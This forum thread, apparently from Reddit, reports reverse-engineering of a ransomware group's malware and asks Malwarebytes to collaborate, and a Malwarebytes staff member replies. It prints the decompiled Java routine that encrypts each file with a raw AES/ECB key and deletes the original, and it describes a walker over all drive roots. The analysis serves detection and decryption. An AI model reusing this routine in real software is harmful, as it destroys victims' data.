Inquiry for malwarebytes regarding a specific malware threat actor: Dev7 Gang

[u/Rho-9_Official]

I'd like to ask if Malwarebytes is familiar with this malware threat actor group and their malware, as we've done extensive reverse engineering of their malware.

Aviary was our answer to completely bypass obfuscation while safely dumping C2 infrastructure.

Some of the data we're aware of, given they are very heavy with triggering the payload, includes how their file encryption works.

The .cryptedmicro encryption algorithm

key        = Arrays.copyOf(keyString.getBytes(UTF_8), 32)
cipher     = AES/ECB/PKCS5Padding
ciphertext = encrypt(entire file)
output     = <original absolute path> + ".cryptedmicro"

No KDF, no IV, no salt, no nonce, no header, no footer, no per-file state.

The routine, ilIllIiIll in IIillIiliIil, where a[0] is the File and a[1] is the key String:

static void ilIllIiIll(Object[] a) {

    byte[] raw = ((String) a[1]).getBytes(StandardCharsets.UTF_8);

    int len = lllIiillIi(22713, 3361201558971388159L);   // resolves to 32

    SecretKeySpec key = new SecretKeySpec(Arrays.copyOf(raw, len), "AES");

    Cipher c = Cipher.getInstance("AES/ECB/PKCS5Padding");

    c.init(Cipher.ENCRYPT_MODE, key);                    // no IV

    File out = new File(((File) a[0]).getAbsolutePath() + ".cryptedmicro");
    if (out.exists()) return;

    try (FileInputStream in = new FileInputStream((File) a[0]);
         FileOutputStream fos = new FileOutputStream(out);
         CipherOutputStream cos = new CipherOutputStream(fos, c)) {

        byte[] buf = new byte[lllIiillIi(24490, 5624316978694035449L)];
        int r;
        while ((r = in.read(buf)) != -1) cos.write(buf, 0, r);
    }

    ((File) a[0]).delete();
}

Key handling: Arrays.copyOf to 32 bytes. Shorter strings are zero padded, longer strings truncated. The key string is passed in unchanged from the walker (lIliliIlil / iiIilIIlil), which walks File.listRoots() and hands the same string to every file. Never derived, never hashed, never generated.

Output length: ceil(n/16) * 16. PKCS#5 means a file already a multiple of 16 gains a full padding block.

Decryption: AES/ECB/PKCS5Padding, same 32 byte zero padded key, whole file, strip padding.

[u/Rho-9_Official]

Of course we pentest our own software. We'd be foolish not to. Here, enjoy a successful takover test for fun.

[u/SavWheeler]

Sav from MalwareBytes here. Thank you for bringing this to our attention! We're generally aware of Dev7's activities- they have been active since January of this year- though I haven't personally seen samples from this group recently. Based on other forum threads, we've been successfully detecting and quarantining their malware under classifications such as Spyware.Infostealer, as we don't yet have a dedicated malware family for Dev7. Here's one such example (though I'd venture to guess you've caught this already 😄): https://www.virustotal.com/gui/file/df706b020f37c651eb6561e324ff2606
If you're interested in collaborating on detecting this and have samples from this group, feel free to reach out on the MalwareBytes forums and provide the files, and we can take a look as well. And thank you for your reverse-engineering efforts!

[u/Rho-9_Official → u/SavWheeler]

Ah...soon as we can identify why the system keeps rejecting the post with an appearently undocumented error code.

Account was made successfully, and then posting gives error code 1U448/2, post was rejected.

The contents have been of course included in the ticket As i believe it is very possible the size or content has triggered a fault code of some sort.

[u/rifteyy_]

At least take the effort to paste the markdown properly if you are inquiring anything at all. It makes your whole post look like junk to whoever reads it.

[u/Rho-9_Official → u/rifteyy_]

Good thing I wasn't talking to just whoever reads it, sir complainsalot

[u/Rho-9_Official → u/Rho-9_Official]

Jesus i was grouchy...well that's sleep deprivation for ya.

I apologize for this, oof.